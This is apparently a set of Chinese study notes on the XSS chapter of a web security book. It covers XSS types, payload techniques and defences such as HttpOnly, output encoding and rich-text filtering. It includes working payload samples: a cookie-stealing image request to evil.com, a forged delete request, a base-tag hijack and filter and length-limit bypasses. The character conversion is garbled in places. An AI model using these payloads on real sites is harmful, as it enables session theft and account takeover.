[白帽子講WEB安全]XSS

第三章:XSS <Cross Site Script>javascript

3.1 XSS簡介php

經過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊<一開始跨域,現在是否跨域已經不重要>html

XSS破壞力強大,且產生的情景複雜,難以一次性解決。如今業內達成的共識是:針對各類不一樣場景產生的XSS,須要區分情景對待。java

XSS分類:反射型XSS、存儲型XSSDOM Based XSSchrome

反射型XSS又稱「非持久性XSS」(Non-persistent XSS),只是簡單地把用戶輸入的數據「反射」給瀏覽器。跨域

存儲型XSS又稱「持久型XSS」,用戶輸入的數據存儲在服務器端,具備很強的穩定性瀏覽器

DOM Based XSS這種類型並不是按照「數據是否保存在服務器端」來劃分,從效果上來講也是反射型XSS,但其造成緣由較特別。出於歷史緣由,就把他單獨做爲一個分類了。修改頁面的DOM結點造成XSS,故稱之爲DOM Based XSS。安全

3.2 XSS攻擊進階服務器

3.2.1 初探XSS Payloadcookie

XSS Payload其實就是一段Javascript腳本(還能夠是Flash或其餘富客戶端的腳本),因此任何JavaScript腳本能實現的功能,XSS Payload都能作到。一個最多見的XSS Payload,就是經過讀取瀏覽器的Cookie對象,從而發起「Cookie 劫持」攻擊

Example

var img = document.createElement(「img」);

img.src = 「http://www.evil.com/log?」+escape(document.cookie);

document.body.appendChild(img);

能夠經過XSS將這段代碼注入到目標頁面中,並在最後將document.cookie對象做爲參數發送到遠程服務器

獲取某個打開的頁面的cookie:在瀏覽器地址欄中輸入:

javascript:alert(document.cookie)

在當前的WEB中,Cookie通常是用戶登錄的憑證,瀏覽器發起的多有請求都會自動帶上Cookie。若是Cookie沒有綁定客戶端信息,當攻擊者竊取了Cookie後,就能夠不用密碼登錄用戶的帳戶

Cookie的「HttpOnly」標識能夠防止「Cookie劫持」

3.2.2 強大的XSS Payload

Cookie劫持對抗:Set-Cookie時給關鍵字Cookie植入HttpOnly標識、Cookie與IP綁定

3.2.2.1 構造GET與POST請求

GET:

Example Code :刪除文章編號爲156713012的文章,攻擊者只需讓博主執行下面這段JS代碼(XSS Payload)

var img = document.createElement(「img」);

img.src =  「http://blog.sohu.com/manage/entry.do?m=delete&id=156713012」;

document.body.appendChild(img);

POST

方法一:構造form表單並自動提交<構造DOM節點、innerHTML>

方法二:經過XMLHttpRequest發送一個POST請求

攻擊者除了能夠實施Cookie劫持外,還可以經過模擬GET、POST請求操做用戶瀏覽器

3.2.2.2 XSS釣魚

Example 1:驗證碼繞過

對於驗證碼,XSS Payload能夠經過讀取頁面內容,將驗證碼的圖片URL發送到遠程服務器上來實施---攻擊者能夠在遠程XSS後臺接受當前驗證碼,並將驗證碼的值返回給當前XSS Payload,從而繞過驗證碼

Example 2:密碼修改<XSS與釣魚結合>

利用JavaScript在當前頁面上「畫出」一個僞造的登錄框,當用戶在登錄框中輸入用戶名和密碼後,其密碼將被髮送至黑客的服務器

充分發揮想象力,可使得XSS攻擊的威力更加巨大

3.2.2.3 識別用戶瀏覽器

最簡單的辦法:經過XSS讀取瀏覽器的UserAgent對象

javascript:alert(navigator.userAgent)

可是UserAgent能夠被僞造,好比Firefox有不少擴展能夠屏蔽或自定義瀏覽器發送的UserAgent,因此JS讀取的瀏覽器對象不必定準確

更高級的方法:瀏覽器之間的實現存在差別---不一樣的瀏覽器會各自實現一些獨特的功能,而同一個瀏覽器的不一樣版本之間也可能會有細微的差異,幾乎不會誤報

參考代碼:P54

3.2.2.4 識別用戶安裝的軟件

Example code 1:檢測是否有迅雷控件(XunLeiBHO.ThunderIEHelper)

try{

var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');

}cactch(e){

//異常了,不存在該控件

}

Flash的system.capabilities對象,可以查詢客戶端電腦中的硬件信息

Firefox的插件:可經過查詢「navigator.plugins」對象就可獲得全部插件

Firefox的擴展:略複雜經過檢測擴展的圖標來斷定是否存在該擴展<需藉助一個特殊協議:chrome://> Example:檢測Flash Got

var m = new Image();

m.onload = function() {

alert(1);//圖片存在

};

m.onerror = function() {

alert(2);//圖片不存在

};

m.src  = 「chrome://flashgot/skin/icon32.png」;//連接圖片

3.2.2.5 CSS History Hack<經過CSS 發現一個用戶曾經訪問過的網站>

原理:利用style的visited屬性---若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變的不同凡響。可是Firefox在2010年3月底修補了這個問題

POC:Proof Of Concept,驗證性測試

3.2.2.6 獲取用戶的真實IP地址

JS自己並無提供獲取本地IP的能力,需藉助第三方軟件,好比JRE,XSS可經過調用JavaApplet的藉口獲取客戶端的本地IP地址

Example code

AttackAPI.dom.getInternalIP = function () {

try {

var sock = new java.net.Socket();

sock.bind ( new java.net.InetSocketAddress ( '0.0.0.0' , 0) );

sock.connect ( new java.net.InetSocketAddress ( document.domain, ( !document.location.port )?80:document.location.port) );

return sock.getLocalAddress().getHostAddress();

}catch (e) {}

return '127.0.0.1';

};

另外兩個利用java的代碼見書中P61

3.2.3 XSS攻擊平臺

Attack API<XSS Payload封裝>、BeEF<完整的XSS攻擊過程>、XSS-Proxy<輕量級>

3.2.4 終極武器:XSS Worm

3.2.4.1 Samy Worm

過濾危險HTML標籤,只保留<a>,<img>,<div>等安全標籤

繞過:容許用戶控制標籤的style屬性,可經過style構造出XSS

<div style=「background:url('javascript:alert(1)')」>

過濾「javascript」,「onreadystatechange」

繞過:拆分法

return eval (' document.body.inne ' + ' rHTML ');

3.2.4.2 百度空間蠕蟲

通常來講,用戶之間發生交互行爲的頁面,若是存在存儲型XSS,則比較容易發起XSS   Worm攻擊. (好比,發送站內信、用戶留言等頁面,都是XSS的高發區,須要重點關注,若是一個頁面只能由用戶我的查看,好比「我的資料設置」頁面,由於缺少用戶之間的互動功能,因此即便存在XSS,也不能被用於XSS Worm傳播)

3.2.5 調試JavaScript

Firebug , IE 8 Developer Tools , Fiddler , Http Watch

3.2.6 XSS構造技巧

3.2.6.1 利用字符編碼

Example: 百度在一個<script>標籤中輸出了一個變量,其中轉義了雙引號:

var redirectUrl = 「\」;alert(/XSS/);'';   //通常來講沒有XSS,由於變量處於雙引號中

可是,百度返回頁面採用GBK/GB2312編碼,故「%c1\」這兩個字符組合會成爲一個Unicode字符,在firefox中會認爲這個一個字符,因此構造:

%c1」;alert(/XSS/);//

3.2.6.2 繞過長度限制

<input type=text value=」$var」>

XSS構造:

「><script>alert(/xss/)</script>」

但願的效果:

<input type=text value=」」><script>alert(/xss/)</script>」/>

假設長度限制爲20個字節,則這段XSS會被切割爲:

「><script>alert(/xss

攻擊者利用事件(Event)來縮短所須要的字節數:

「onlick=alert(1)」//

實際輸出爲:

Input type=text value=」」 onclick=alert(1)//」/>

但利用「事件」可以縮短的字節數是有限的,最好的辦法是把XSS Payload寫到別處,再經過簡短的代碼加載這段XSS Payload

最經常使用的一個藏代碼的地方就是「location.hash」,不會被記錄到WEB日誌中

location.hash自己沒有長度限制

在某些特殊環境下,利用註釋符繞過長度限制

<input id=1 type=」text」 value=」」>

xxxxxxxxxxxxxxxxx

<input id=2 type=」text」 value=」」>

輸入:

第一個框:   「><!--

第二個框:    --><script>alert(/xss/);</script>

最終效果:

<input id=1 type=」text」 value=」」><!--」 />

xxxxxxxxxxxxxxxxxx

</input id=2 type=」text」 value=」--><script>alert(/xss/);</script>」 />

3.2.6.3 使用<base>標籤

定義頁面上全部使用「相對路徑」標籤的hosting地址

<base>並不是只能用於<head>內,而是能夠出如今頁面任何地方,而且做用於位於該標籤以後的全部標籤

<base href=」http://www.evil.com」>

<script src=」x.js」></script>

<img src=」y.jpg」 />

<a href=」auth.do」>auth</a>

在設計xss安全方案時必定要過濾掉該標籤

3.2.6.4 window.name的妙用

對window.name賦值無長度限制,window對象是瀏覽器的窗體,非document對象,故不受同源策略限制。攻擊者利用這個對象能夠實現跨域、跨頁面傳遞數據

www.a.com/test.html代碼

<body>

<script>

window.name=」test」

alert( document.domain+」     」 + window.name );

window.location=」http://www.b.com/test1.html」;

</script>

</body>

www.b.com/test1.html

<body>

<script>

alert( document.domain + 「   」 + window.name );

</script>

</body>

縮短XSS Payload長度

<script>

window.name = 「alert(document.cookie)」;

location.href = 「http://www.xssedsite.com/xssed.php」;

</script>

在同一窗口打開XSS的站點後,只需經過XSS執行如下代碼便可

eval(name);

其餘技巧請百度:《突破XSS字符數量限制執行任意JS代碼》

3.2.7-變廢爲寶:Mission Impossible

3.2.7.1 Apache Expect Header XSS

服務器出錯時,會把Expect頭的內容未經任何處理便寫入到頁面中,所以Expect頭中的HTML代碼就被瀏覽器解析執行了。-> 使用Flash構造請求。

3.2.7.2 Anehta 的迴旋鏢

反射型XSS也能想存儲型XSS同樣利用:將要利用的XSS嵌入一個存儲型XSS中

思路:若是在B域上存在一個反射型XSS B,在A域上存在一個存儲型XSS_A,當用戶訪問A域上的XSS_A時,同時嵌入B域上的XSS_B則能夠達到在A域的XSS攻擊B域用戶的目的。

3.2.8-容易被忽視的角落:Flash XSS

Flash中嵌入ActionScript腳本,因爲Flash文件如此危險,因此在實現XSS Filter時通常都會禁用<embed>,<object>等標籤

對策:若僅僅是視頻文件,則要求轉碼爲flv文件<靜態>,如果帶動態腳本的flash,則要經過flash的配置進行限制<allowScriptAccess, allowNetworking, XSS過濾>

3.2.9-真的高枕無憂嗎:JavaScript開發框架

Dojo, YUI, JQuery

3.3 XSS的防護

流行的瀏覽器內置了一些對抗XSS的措施,如FirefoxCSPNoscript擴展,IE8內置的XSS Filter

3.3.1 四兩撥千金:HttpOnly<set-Cookie時設置,需給關鍵Cookie都加上HttpOnly>

嚴格講:HttpOnly並不是爲了對抗XSS,它解決的是XSS後的Cookie劫持攻擊;設置以後JavaScript讀取不到Cookie的值

繞過:Apache支持的一個HeaderTRACE. TRACE通常用於調試,它會將請求頭做爲Response Body返回。

使用HttpOnly有助於緩解XSS攻擊,但仍然須要其餘可以解決XSS漏洞的方案

3.3.2 輸入檢查

輸入檢測的邏輯,必須放在服務器端代碼中實現。

目前Web開發的廣泛作法,是同時在客戶端JS中和服務端代碼中實現相同的輸入檢查。客戶端JS輸入檢查能夠阻礙大部分誤操做的正經常使用戶,從而節約服務器資源

在XSS的防護上,輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、」等,若是發現存在特殊字符,則將其過濾或者編碼

比較智能的「輸入檢查」,可能還會匹配XSS特徵,好比查找用戶數據中是否包含<script>,javascript等敏感字符。

這種輸入檢查的方式被稱爲XSS Filter

XSS Filter在用戶提交數據時獲取變量,並進行XSS檢查;但此時用戶數據並無結合渲染頁面的HTML代碼,所以XSS Filter對語境的理解並不完整。(惡意JS URL可繞過)

在大多數狀況下,URL是一種合法的用戶數據

XSS Filter還有一個問題----對<,>等字符的處理,可能會改變用戶數據的語義

3.3.3 輸出檢查

通常來講,除了富文本的輸出外,在變量輸出到HTML頁面時,可使用編碼或者轉義的方式來防護XSS

3.3.3.1安全的編碼函數

html:   HtmlEncode:字符轉換成HTMLEntities,對應的標準是ISO-8859-1

至少轉換:

& → &amp

< → &lt

> → &gt

「  → &quot

' → &#x27        &apos(不推薦)

/ → &#x2F

Php:   htmlentities() , htmlspecialchars()

JavaScript:   JavaScriptEncode

JaVaScriptEncodeHtmlEncode的編碼方式不一樣,他須要使用「\」對特殊字符進行轉義。在對抗XSS時,還要求輸出的變量必須在引號內,以免形成安全問題

var x = escapeJavaScript($evil);   //若是escapeJavaScript()只轉義幾個危險字符:',」,<,>,\,

var y = '」' + escapeJavaScript($evil) + ''''; //&,#等,那麼這兩行代碼輸出後可能會變成以下

Var x = 1;alert(2);                           //執行了額外代碼

var y = 「1;alert(2)」;                       //安全,若想逃逸出括號範圍,較困難:

Var y = 「\」;alert(1);\/\/」;

更加嚴格的JavaScriptEncode:除了數字和字母外的全部字符,都使用十六進制」\xHH」方式編碼

var x = 1;alert(2);      →    var x = 1x3balert\x282\x29;

XML:   XMLEncode  <HtmlEncode相似>

Json:   JSONEncode  <JavascriptEncode相似>

注意:在適當的時候選用適當的函數,編碼後的數據長度可能會發生改變,從而影響某些功能,在寫代碼時須要注意這個細節,以免產生沒必要要的bug

3.3.3.2只須要一種編碼嗎

XSS攻擊主要發生在MVC架構中的view層,大部分的XSS漏洞能夠在模板系統中解決

對於瀏覽器來講,htmlparser會優先於JavaScript Parser執行,因此解析過程是,被HtmlEncode的字符先被解碼,而後執行JavaScript事件

致使XSS攻擊發生的緣由,是因爲沒有分清楚輸出變量的語境

3.3.4 正確防護XSS

XSS的本質仍是一種「HTML注入」,用戶的數據被當成了HTML代碼一部分來執行,從而混淆了本來的語義,產生了新的l語義

XSS可能發生的全部場景

HTML標籤中輸出         防護:HtmlEncode

<div>$var</div>

<a href=# >$var</a>

<div><script>alert(/xss/)</script></div>

<a href=# ><img src=# onerror=alert(1) /></a>

HTML屬性中輸出              防護:HtmlEncode

OWASP ESAPI中推薦一種更嚴格的HtmlEncode--除字母數字外其餘全部特殊字符都被編碼

<div id=」abc」 name=」$var」 ></div>

<div id=」abc」 name=」><script>alert(/xss/)</script><」」></div>

<script>標籤中輸出             防護:JavascriptEncode

<script>

var x = 「$var」;

</script>

<script>

var x = 「」;alert(/xss/);//」;

</script>

在事件中輸出                      防護:JavascriptEncode

<a href=# onclick=」funcA('$var')」>test</a>

<a href=# onclick=」funcA('');alert(xss);//')」>test</a>

CSS中輸出                       防護:推薦OWASP ESAPI中的encodeForCSS()

因此,通常來講,儘量禁止用戶可控的變量在<style>標籤、HTML標籤的style屬性以及CSS文件中輸出

在地址中輸出                    防護:URLEncode

通常來講,在URLpath或者search中輸出

<a href=」http://www.evil.com/?test=$var」>test</a>

<a href=」http://www.evil.com/?test=」 onclick=alert(/xss/) 「」>test</a>

URL的組成:[Protocal][Host][Path][Search][Hash]

Protocal和Host部分是不可以使用URLEncode的,不然會改變URL的語義

若URL可以被用戶徹底控制,那麼:可構造僞協議攻擊

 

<a href=」var」>test</a>            → <a href=」javascript:alert(1);」>test</a>

DataURI          可以將一段代碼寫在URL裏,以下:

<a href=」data:text/html;base64,lkdjfaldkjflkjadlfkjalsdkjfkldjfoirejfkjmcnv=」>test</a>

以text/html的格式加載編碼爲base64的數據

對策:檢查變量是否以http開頭

3.3.5 處理富文本<用戶提交的一些自定義的HTML代碼>

<script>,<iframe>,<base><form>等,應該被嚴格禁止

標籤選擇上,應該使用白名單,避免使用黑名單。好比,之容許<a>,<img>,<div>等比較安全的標籤存在

儘量禁止用戶自定義CSS與style,若是必定要用,則像過濾富文本同樣過濾CSS

開源項目:Anti-Samy,   HTMLPurify

3.3.6 防護DOM Based XSS

DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防護方法都不太適用,須要特別對待

<script>

var x = 「var」;

document.write(「<a href = '」+x+」'>test</a>」);

</script>

    首先,在」$var」輸出到<script>時,應該執行一次JacascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體狀況看待,若是是輸出到事件或者腳本,則需再作一次javascriptEncode;若是是要輸出到HTML內容或者屬性,則要作一次htmlEncode。

也就是說,從javascript輸出到HTML頁面,也至關於一次XSS輸出過程,須要分語境使用不一樣的編碼函數。

會觸發DOM Based XSS的地方不少,一下幾個地方是JavaScript輸出到HTML頁面的必經之路:

Document.write()

Document.writeln()

Xxx.innerHTML=

XXX.outerHTML=

InnerHTML.replace

Document.attachEvent()

Window.attachEvent()

Document.location.replace()

Document.location.assign()

...

除了上述,一下幾個地方也可能成爲DOM Based XSS的輸入點,須要重點關注

  • 頁面中的inputs框
  • window.location(href,hash等)
  • window.name
  • document.referrer
  • document.cookie
  • localstorage
  • XMLHttpRequest返回的數據

3.3.7 換個角度開xss風險

通常來講,存儲型XSS的風險高於反射型XSS。由於存儲型XSS會保存在服務器上,有可能會跨頁面存在。它不改變頁面URL的原有結構,所以有時候還能逃過一些IDS的檢測。比喻IE8的XSS Filter和firefox的Noscript Extension,都會檢查地址欄中的地址是否包含XSS腳本。而跨頁面的存儲型XSS可能會繞過這些檢測工具。

攻擊過程來講,反射型XSS,通常要求攻擊者誘使用戶點擊一個包含XSS代碼的URL連接;而存儲型XSS,則只須要讓用戶查看一個正常的URL連接。好比一個Web郵箱的郵件正文頁面存在一個存儲型XSSL漏洞,當用戶打開一封郵件時,XSS Payload會被執行。這樣的漏洞極其隱蔽,且埋伏在用戶的正常業務中,風險頗高。

風險角度看,用戶之間有互動的頁面,是可能發起XSS Worm攻擊的地方。而根據不一樣頁面的page view高低,也能夠分析出哪些頁面受XSS攻擊後的影響會更大。好比在網站首頁發生的XSS攻擊,確定比網站合做夥伴頁面的XSS攻擊要嚴重的多

在修補XSS漏洞時遇到的醉倒挑戰之一就是漏洞數量太多,所以開發者可能來不及,也不肯意修補這些漏洞。從風險角度從新定位每一個XSS漏洞,就具備了重要的意義

3.4 小結

理論上,XSS漏洞雖然複雜,但卻時能夠完全解決的,在設計XSS解決方案時,應該深刻理解XSS攻擊原理,針對不一樣的場景使用不一樣的方法,同時不少開源項目爲咱們提供了參考

相關文章
相關標籤/搜索